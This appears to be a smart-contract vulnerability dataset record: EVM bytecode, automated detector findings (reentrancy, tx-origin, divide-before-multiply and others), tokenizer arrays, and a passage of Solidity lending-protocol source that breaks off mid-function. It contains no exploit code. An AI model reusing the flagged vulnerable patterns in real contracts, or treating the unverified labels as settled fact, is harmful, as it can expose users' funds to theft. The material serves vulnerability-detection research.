05060006126c885836129ed565b9050476126d4826129f9565b60006126e047836129ed565b905060006126fd87611929601c54856124af90919063ffffffff16565b9050600061271a88611929601e54866124af90919063ffffffff16565b90506000816127298486613021565b6127339190613021565b6000601d819055601c819055601e8190556007546040519293506001600160a01b031691849181818185875af1925050503d8060008114612790576040519150601f19603f3d011682016040523d82523d6000602084013e612795565b606091505b509098505086158015906127a95750600081115b156127fc576127b88782612bb9565b601d54604080518881526020810184905280820192909252517f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619181900360600190a15b6006546040516001600160a01b03909116904790600081818185875af1925050503d8060008114612849576040519150601f19603f3d011682016040523d82523d6000602084013e61284e565b606091505b50505050505050505050505050565b42600e556040516370a0823160e01b81526001600160a01b037f000000000000000000000000708f1c776ee5ae3545bdce24330134d8da77c809166004820152600090819030906370a0823190602401602060405180830381865afa1580156128ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906128ee9190612f80565b9050600061290d612710611929600b54856124af90919063ffffffff16565b90508015612942576129427f000000000000000000000000708f1c776ee5ae3545bdce24330134d8da77c80961dead836124ce565b60007f000000000000000000000000708f1c776ee5ae3545bdce24330134d8da77c8099050806001600160a01b031663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156129a257600080fd5b505af11580156129b6573d6000803e3d6000fd5b50506040517f454c91ae84fcc766ddda0dcb289f26b3d0176efeacf4061fc219fa6ca8c3048d925060009150a16001935050505090565b60006124bb8284613021565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110612a2e57612a2e613038565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612aac573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612ad0919061304e565b81600181518110612ae357612ae3613038565b60200260200101906001600160a01b031690816001600160a01b031681525050612b2e307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611a10565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac94790612b8390859060009086903090429060040161306b565b600060405180830381600087803b158015612b9d57600080fd5b505af1158015612bb1573d6000803e3d6000fd5b505050505050565b612be4307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611a10565b60405163f305d71960e01b815230600482015260248101839052600060448201819052606482015261dead60848201524260a48201527f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03169063f305d71990839060c40160606040518083038185885af1158015612c6e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190612c9391906130dc565b5050505050565b600060208083528351808285015260005b81811015612cc757858101830151858201604001528201612cab565b81811115612cd9576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461179357600080fd5b60008060408385031215612d1757600080fd5b8235612d2281612cef565b946020939093013593505050565b600060208284031215612d4257600080fd5b81356124bb81612cef565b600060208284031215612d5f57600080fd5b5035919050565b600080600060608486031215612d7b57600080fd5b8335612d8681612cef565b92506020840135612d9681612cef565b929592945050506040919091013590565b803580151581146116b957600080fd5b600080600060608486031215612dcc57600080fd5b8335925060208401359150612de360408501612da7565b90509250925092565b60008060408385031215612dff57600080fd5b8235612e0a81612cef565b9150612e1860208401612da7565b90509250929050565b600080600060608486031215612e3657600080fd5b505081359360208301359350604090920135919050565b600060208284031215612e5f57600080fd5b6124bb82612da7565b60008060408385031215612e7b57600080fd5b8235612e8681612cef565b91506020830135612e9681612cef565b809150509250929050565b600181811c90821680612eb557607f821691505b60208210811415612ed657634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b6000816000190483118215151615612f4157612f41612f11565b500290565b600082612f6357634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115612f7b57612f7b612f11565b500190565b600060208284031215612f9257600080fd5b5051919050565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60008282101561303357613033612f11565b500390565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561306057600080fd5b81516124bb81612cef565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156130bb5784516001600160a01b031683529383019391830191600101613096565b50506001600160a01b03969096166060850152505050608001529392505050565b6000806000606084860312156130f157600080fd5b835192506020840151915060408401519050925092509256fea2646970667358221220ecd63691d83989b5317c579ac84a623e66416cace5196fe5428f447e2848ec5064736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'tx-origin', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'tautology', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 24434, 8586, 2692, 2683, 12740, 21926, 2278, 2620, 2475, 2278, 16048, 3207, 8270, 2683, 2063, 22275, 5243, 4402, 26187, 12740, 16576, 26976, 2581, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1027, 1014, 1012, 1022, 1012, 2184, 1028, 1027, 1014, 1012, 1022, 1012, 2184, 1028, 1027, 1014, 1012, 1022, 1012, 1014, 1026, 1014, 1012, 1023, 1012, 1014, 1025, 10975, 8490, 2863, 6388, 11113, 9013, 16044, 2099, 2615, 2475, 1025, 1013, 1013, 1013, 1013, 1013, 1013, 5622, 2497, 1013, 2330, 4371, 27877, 2378, 1011, 8311, 1013, 8311, 1013, 21183, 12146, 1013, 6123, 1012, 14017, 1013, 1013, 2330, 4371, 27877, 2378, 8311, 1058, 2549, 1012, 1018, 1012, 1014, 1006, 21183, 12146, 1013, 6123, 1012, 14017, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,103
0x9638597ceE2dE548b6D033F2052d094Fab472D0E
// SPDX-License-Identifier: MIT pragma solidity 0.7.6; import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol"; import {Ownable} from "../roles/Ownable.sol"; import {IOracle} from "../Oracle.sol"; import {ITokenManager} from "./TokenManager.sol"; import {IDiscountManager} from "./DiscountManager.sol"; import {VersionManager} from "../registries/VersionManager.sol"; interface ICollateralManager { function isSufficientInitialCollateral(address lendingToken, uint256 principal, address collateralToken, uint256 collateralAmount) external view returns (bool); // returns (bool isSufficient, uint collateralRatio%); function isSufficientCollateral(address borrower, address lendingToken, uint256 principal, address collateralToken, uint256 collateralAmount) external view returns (bool, uint256); } contract CollateralManager is ICollateralManager, Ownable, VersionManager { using SafeMath for uint256; uint256 private constant _BASIS_POINT = 10000; // 100% mapping(address => uint256) private _initThreshold; mapping(address => uint256) private _liquidationThreshold; function _calcPercentOf(uint256 amount, uint256 percent) private pure returns (uint256) { return amount.mul(percent).div(_BASIS_POINT); } function getThresholds(address token) external view returns (uint256, uint256) { return (_initThreshold[token], _liquidationThreshold[token]); } function setInitThresholds(address[] calldata tokens, uint256[] calldata thresholds) external onlyOwner { require(tokens.length == thresholds.length, "!="); for (uint256 i = 0; i < tokens.length; i++) { address token = tokens[i]; uint256 threshold = thresholds[i]; require(token != address(0), "0 addy"); require(threshold > 10000, "Invalid val"); // 100% _initThreshold[token] = threshold; } } function setLiquidationThresholds(address[] calldata tokens, uint256[] calldata thresholds) external onlyOwner { require(tokens.length == thresholds.length, "!="); for (uint256 i = 0; i < tokens.length; i++) { address token = tokens[i]; uint256 threshold = thresholds[i]; require(token != address(0), "0 addy"); require(threshold > 10000 && threshold <= 17500, "Invalid val"); _liquidationThreshold[token] = threshold; } } function _convert(address from, address to, uint256 amount) private view returns (uint256) { return IOracle(VersionManager._oracle()).convert(from, to, amount); } function _isValidPairing(address lendingToken, address collateralToken) private view returns (bool) { return (lendingToken != collateralToken) && ITokenManager(VersionManager._tokenMgr()).isBothWhitelisted(lendingToken, collateralToken) && !ITokenManager(VersionManager._tokenMgr()).isBothStable(lendingToken, collateralToken); } function isSufficientInitialCollateral(address lendingToken, uint256 principal, address collateralToken, uint256 collateralAmount) external view override returns (bool) { require(_isValidPairing(lendingToken, collateralToken), "Bad pair"); uint256 convertedPrincipal = _convert(lendingToken, collateralToken, _calcPercentOf(principal, _initThreshold[collateralToken])); return collateralAmount >= convertedPrincipal; } function isSufficientCollateral(address borrower, address lendingToken, uint256 principal, address collateralToken, uint256 collateralAmount) external view override returns (bool, uint256) { uint256 collateralThreshold = _liquidationThreshold[collateralToken]; if (IDiscountManager(VersionManager._discountMgr()).isDiscounted(borrower)) { collateralThreshold = ITokenManager(VersionManager._tokenMgr()).isStableToken(collateralToken) ? collateralThreshold.sub(250) : collateralThreshold.sub(500); } uint256 convertedPrincipal = _convert(lendingToken, collateralToken, _calcPercentOf(principal, collateralThreshold)); return (collateralAmount > convertedPrincipal, collateralAmount.div(convertedPrincipal.div(collateralThreshold))); } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity 0.7.6; contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); modifier onlyOwner() { require(isOwner(), "!owner"); _; } constructor() { _owner = msg.sender; emit OwnershipTransferred(address(0), msg.sender); } function owner() public view returns (address) { return _owner; } function isOwner() public view returns (bool) { return msg.sender == _owner; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0), "0 addy"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity 0.7.6; import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol"; import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import {Ownable} from "./roles/Ownable.sol"; interface IFeed { function latestAnswer() external view returns (int256); } interface IOracle { function getRate(address from, address to) external view returns (uint256); function convertFromUSD(address to, uint256 amount) external view returns (uint256); function convertToUSD(address from, uint256 amount) external view returns (uint256); function convert(address from, address to, uint256 amount) external view returns (uint256); } contract Oracle is IOracle, Ownable { using SafeMath for uint256; address private constant _DAI = address(0x6B175474E89094C44Da98b954EedeAC495271d0F); address private constant _WETH = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); uint256 private constant _DECIMALS = 1e18; mapping(address => address) private _ETHFeeds; mapping(address => address) private _USDFeeds; constructor() { // address INCH = 0x111111111117dC0aa78b770fA6A738034120C302; // address AMPL = 0xD46bA6D942050d489DBd938a2C909A5d5039A161; // address BNT = 0x1F573D6Fb3F13d689FF844B4cE37794d79a7FF1C; // address AAVE = 0x7Fc66500c84A76Ad7e9c93437bFc5Ac33E2DDaE9; // address ANT = 0xa117000000f279D81A1D3cc75430fAA017FA5A2e; // address BAL = 0xba100000625a3754423978a60c9317c58a424e3D; // address BAND = 0xBA11D00c5f74255f56a5E366F4F77f5A186d7f55; // address BAT = 0x0D8775F648430679A709E98d2b0Cb6250d2887EF; // address COMP = 0xc00e94Cb662C3520282E6f5717214004A7f26888; // address CREAM = 0x2ba592F78dB6436527729929AAf6c908497cB200; // address CRO = 0xA0b73E1Ff0B80914AB6fe0444E65848C4C34450b; // address CRV = 0xD533a949740bb3306d119CC777fa900bA034cd52; // address ENJ = 0xF629cBd94d3791C9250152BD8dfBDF380E2a3B9c; // address GRT = 0xc944E90C64B2c07662A292be6244BDf05Cda44a7; // address KNC = 0xdd974D5C2e2928deA5F71b9825b8b646686BD200; // address KEEPER = 0x1cEB5cB57C4D4E2b2433641b95Dd330A33185A44; // address LINK = 0x514910771AF9Ca656af840dff83E8264EcF986CA; // address LRC = 0xBBbbCA6A901c926F240b89EacB641d8Aec7AEafD; // address MANA = 0x0F5D2fB29fb7d3CFeE444a200298f468908cC942; // address MKR = 0x9f8F72aA9304c8B593d555F12eF6589cC3A579A2; // address REN = 0x408e41876cCCDC0F92210600ef50372656052a38; // address SNX = 0xC011a73ee8576Fb46F5E1c5751cA3B9Fe0af2a6F; // address SUSD = 0x57Ab1ec28D129707052df4dF418D58a2D46d5f51; // address SUSHI = 0x6B3595068778DD592e39A122f4f5a5cF09C90fE2; // address TUSD = 0x0000000000085d4780B73119b644AE5ecd22b376; // address UNI = 0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984; // address USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; // address USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7; // address WBTC = 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599; // address YFI = 0x0bc529c00C6401aEF6D220BE8C6Ea1667F6Ad93e; // address ZRX = 0xE41d2489571d322189246DaFA5ebDe1F4699F498; _ETHFeeds[_DAI] = address(0x773616E4d11A78F511299002da57A0a94577F1f4); _ETHFeeds[0x111111111117dC0aa78b770fA6A738034120C302] = address(0x72AFAECF99C9d9C8215fF44C77B94B99C28741e8); _ETHFeeds[0xD46bA6D942050d489DBd938a2C909A5d5039A161] = address(0x492575FDD11a0fCf2C6C719867890a7648d526eB); _ETHFeeds[0x1F573D6Fb3F13d689FF844B4cE37794d79a7FF1C] = address(0xCf61d1841B178fe82C8895fe60c2EDDa08314416); _ETHFeeds[0x7Fc66500c84A76Ad7e9c93437bFc5Ac33E2DDaE9] = address(0x6Df09E975c830ECae5bd4eD9d90f3A95a4f88012); _ETHFeeds[0xa117000000f279D81A1D3cc75430fAA017FA5A2e] = address(0x8f83670260F8f7708143b836a2a6F11eF0aBac01); _ETHFeeds[0xba100000625a3754423978a60c9317c58a424e3D] = address(0xC1438AA3823A6Ba0C159CfA8D98dF5A994bA120b); _ETHFeeds[0xBA11D00c5f74255f56a5E366F4F77f5A186d7f55] = address(0x0BDb051e10c9718d1C29efbad442E88D38958274); _ETHFeeds[0x0D8775F648430679A709E98d2b0Cb6250d2887EF] = address(0x0d16d4528239e9ee52fa531af613AcdB23D88c94); _ETHFeeds[0xc00e94Cb662C3520282E6f5717214004A7f26888] = address(0x1B39Ee86Ec5979ba5C322b826B3ECb8C79991699); _ETHFeeds[0x2ba592F78dB6436527729929AAf6c908497cB200] = address(0x82597CFE6af8baad7c0d441AA82cbC3b51759607); _ETHFeeds[0xA0b73E1Ff0B80914AB6fe0444E65848C4C34450b] = address(0xcA696a9Eb93b81ADFE6435759A29aB4cf2991A96); _ETHFeeds[0xD533a949740bb3306d119CC777fa900bA034cd52] = address(0x8a12Be339B0cD1829b91Adc01977caa5E9ac121e); _ETHFeeds[0xF629cBd94d3791C9250152BD8dfBDF380E2a3B9c] = address(0x24D9aB51950F3d62E9144fdC2f3135DAA6Ce8D1B); _ETHFeeds[0xc944E90C64B2c07662A292be6244BDf05Cda44a7] = address(0x17D054eCac33D91F7340645341eFB5DE9009F1C1); _ETHFeeds[0xdd974D5C2e2928deA5F71b9825b8b646686BD200] = address(0x656c0544eF4C98A6a98491833A89204Abb045d6b); _ETHFeeds[0x1cEB5cB57C4D4E2b2433641b95Dd330A33185A44] = address(0xe7015CCb7E5F788B8c1010FC22343473EaaC3741); _ETHFeeds[0x514910771AF9Ca656af840dff83E8264EcF986CA] = address(0xDC530D9457755926550b59e8ECcdaE7624181557); _ETHFeeds[0xBBbbCA6A901c926F240b89EacB641d8Aec7AEafD] = address(0x160AC928A16C93eD4895C2De6f81ECcE9a7eB7b4); _ETHFeeds[0x0F5D2fB29fb7d3CFeE444a200298f468908cC942] = address(0x82A44D92D6c329826dc557c5E1Be6ebeC5D5FeB9); _ETHFeeds[0x9f8F72aA9304c8B593d555F12eF6589cC3A579A2] = address(0x24551a8Fb2A7211A25a17B1481f043A8a8adC7f2); _ETHFeeds[0x408e41876cCCDC0F92210600ef50372656052a38] = address(0x3147D7203354Dc06D9fd350c7a2437bcA92387a4); _ETHFeeds[0xC011a73ee8576Fb46F5E1c5751cA3B9Fe0af2a6F] = address(0x79291A9d692Df95334B1a0B3B4AE6bC606782f8c); _ETHFeeds[0x57Ab1ec28D129707052df4dF418D58a2D46d5f51] = address(0x8e0b7e6062272B5eF4524250bFFF8e5Bd3497757); _ETHFeeds[0x6B3595068778DD592e39A122f4f5a5cF09C90fE2] = address(0xe572CeF69f43c2E488b33924AF04BDacE19079cf); _ETHFeeds[0x0000000000085d4780B73119b644AE5ecd22b376] = address(0x3886BA987236181D98F2401c507Fb8BeA7871dF2); _ETHFeeds[0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984] = address(0xD6aA3D25116d8dA79Ea0246c4826EB951872e02e); _ETHFeeds[0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48] = address(0x986b5E1e1755e3C2440e960477f25201B0a8bbD4); _ETHFeeds[0xdAC17F958D2ee523a2206206994597C13D831ec7] = address(0xEe9F2375b4bdF6387aa8265dD4FB8F16512A1d46); _ETHFeeds[0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599] = address(0xdeb288F737066589598e9214E782fa5A8eD689e8); _ETHFeeds[0x0bc529c00C6401aEF6D220BE8C6Ea1667F6Ad93e] = address(0x7c5d4F8345e66f68099581Db340cd65B078C41f4); _ETHFeeds[0xE41d2489571d322189246DaFA5ebDe1F4699F498] = address(0x2Da4983a622a8498bb1a21FaE9D8F6C664939962); _USDFeeds[_WETH] = address(0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419); } function getFeeds(address token) external view returns (address, address) { return (_ETHFeeds[token], _USDFeeds[token]); } function setFeeds(address[] calldata tokens, address[] calldata feeds, bool is_USDFeeds) external onlyOwner { require(tokens.length == feeds.length, "!="); if (is_USDFeeds) { for (uint256 i = 0; i < tokens.length; i++) { address token = tokens[i]; _USDFeeds[token] = feeds[i]; } } else { for (uint256 i = 0; i < tokens.length; i++) { address token = tokens[i]; _ETHFeeds[token] = feeds[i]; } } } function uintify(int256 val) private pure returns (uint256) { require(val > 0, "Feed err"); return uint256(val); } function getTokenETHRate(address token) private view returns (uint256) { if (_ETHFeeds[token] != address(0)) { return uintify(IFeed(_ETHFeeds[token]).latestAnswer()); } else if (_USDFeeds[token] != address(0)) { return uintify(IFeed(_USDFeeds[token]).latestAnswer()).mul(_DECIMALS).div(uintify(IFeed(_USDFeeds[_WETH]).latestAnswer())); } else { return 0; } } function getRate(address from, address to) public view override returns (uint256) { if (from == to && to == _DAI) { return _DECIMALS; } uint256 srcRate = from == _WETH ? _DECIMALS : getTokenETHRate(from); uint256 destRate = to == _WETH ? _DECIMALS : getTokenETHRate(to); require(srcRate > 0 && destRate > 0 && srcRate < type(uint256).max && destRate < type(uint256).max, "No oracle"); return srcRate.mul(_DECIMALS).div(destRate); } function calcDestQty(uint256 srcQty, address from, address to, uint256 rate) private view returns (uint256) { uint256 srcDecimals = ERC20(from).decimals(); uint256 destDecimals = ERC20(to).decimals(); uint256 difference; if (destDecimals >= srcDecimals) { difference = 10 ** destDecimals.sub(srcDecimals); return srcQty.mul(rate).mul(difference).div(_DECIMALS); } else { difference = 10 ** srcDecimals.sub(destDecimals); return srcQty.mul(rate).div(_DECIMALS.mul(difference)); } } function convertFromUSD(address to, uint256 amount) external view override returns (uint256) { return calcDestQty(amount, _DAI, to, getRate(_DAI, to)); } function convertToUSD(address from, uint256 amount) external view override returns (uint256) { return calcDestQty(amount, from, _DAI, getRate(from, _DAI)); } function convert(address from, address to, uint256 amount) external view override returns (uint256) { return calcDestQty(amount, from, to, getRate(from, to)); } } // SPDX-License-Identifier: MIT pragma solidity 0.7.6; import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol"; import {Ownable} from "../roles/Ownable.sol"; interface ITokenManager { function isWhitelisted(address token) external view returns (bool); function isStableToken(address token) external view returns (bool); function isDynamicToken(address token) external view returns (bool); function isBothStable(address tokenA, address tokenB) external view returns (bool); function isBothWhitelisted(address tokenA, address tokenB) external view returns (bool); } contract TokenManager is ITokenManager, Ownable { using SafeMath for uint256; address[] private _stableTokens; address[] private _dynamicTokens; address[] private _whitelistedTokens; uint256 private _tokenID; uint256 private _stableTokenID; uint256 private _dynamicTokenID; mapping(address => uint256) private _tokenIDOf; mapping(address => bool) private _whitelistedToken; mapping(address => bool) private _stableToken; mapping(address => uint256) private _stableTokenIDOf; mapping(address => bool) private _dynamicToken; mapping(address => uint256) private _dynamicTokenIDOf; constructor () { _handleAddition(0x6B175474E89094C44Da98b954EedeAC495271d0F, false); _handleAddition(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, false); _handleAddition(0x111111111117dC0aa78b770fA6A738034120C302, false); _handleAddition(0xD46bA6D942050d489DBd938a2C909A5d5039A161, false); _handleAddition(0x1F573D6Fb3F13d689FF844B4cE37794d79a7FF1C, false); _handleAddition(0x7Fc66500c84A76Ad7e9c93437bFc5Ac33E2DDaE9, false); _handleAddition(0xa117000000f279D81A1D3cc75430fAA017FA5A2e, false); _handleAddition(0xba100000625a3754423978a60c9317c58a424e3D, false); _handleAddition(0xBA11D00c5f74255f56a5E366F4F77f5A186d7f55, false); _handleAddition(0x0D8775F648430679A709E98d2b0Cb6250d2887EF, false); _handleAddition(0xc00e94Cb662C3520282E6f5717214004A7f26888, false); _handleAddition(0x2ba592F78dB6436527729929AAf6c908497cB200, false); _handleAddition(0xA0b73E1Ff0B80914AB6fe0444E65848C4C34450b, false); _handleAddition(0xD533a949740bb3306d119CC777fa900bA034cd52, false); _handleAddition(0xF629cBd94d3791C9250152BD8dfBDF380E2a3B9c, false); _handleAddition(0xc944E90C64B2c07662A292be6244BDf05Cda44a7, false); _handleAddition(0xdd974D5C2e2928deA5F71b9825b8b646686BD200, false); _handleAddition(0x1cEB5cB57C4D4E2b2433641b95Dd330A33185A44, false); _handleAddition(0x514910771AF9Ca656af840dff83E8264EcF986CA, false); _handleAddition(0xBBbbCA6A901c926F240b89EacB641d8Aec7AEafD, false); _handleAddition(0x0F5D2fB29fb7d3CFeE444a200298f468908cC942, false); _handleAddition(0x9f8F72aA9304c8B593d555F12eF6589cC3A579A2, false); _handleAddition(0x408e41876cCCDC0F92210600ef50372656052a38, false); _handleAddition(0xC011a73ee8576Fb46F5E1c5751cA3B9Fe0af2a6F, false); _handleAddition(0x57Ab1ec28D129707052df4dF418D58a2D46d5f51, false); _handleAddition(0x57Ab1ec28D129707052df4dF418D58a2D46d5f51, true); _handleAddition(0x6B3595068778DD592e39A122f4f5a5cF09C90fE2, false); _handleAddition(0x0000000000085d4780B73119b644AE5ecd22b376, false); _handleAddition(0x0000000000085d4780B73119b644AE5ecd22b376, true); _handleAddition(0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984, false); _handleAddition(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48, false); _handleAddition(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48, true); _handleAddition(0xdAC17F958D2ee523a2206206994597C13D831ec7, false); _handleAddition(0xdAC17F958D2ee523a2206206994597C13D831ec7, true); _handleAddition(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599, false); _handleAddition(0x0bc529c00C6401aEF6D220BE8C6Ea1667F6Ad93e, false); _handleAddition(0xE41d2489571d322189246DaFA5ebDe1F4699F498, false); } function isWhitelisted(address token) public view override returns (bool) { return token != address(0) && _whitelistedToken[token]; } function isStableToken(address token) public view override returns (bool) { return token != address(0) && _stableToken[token]; } function isDynamicToken(address token) public view override returns (bool) { return token != address(0) && _dynamicToken[token]; } function isBothStable(address tokenA, address tokenB) external view override 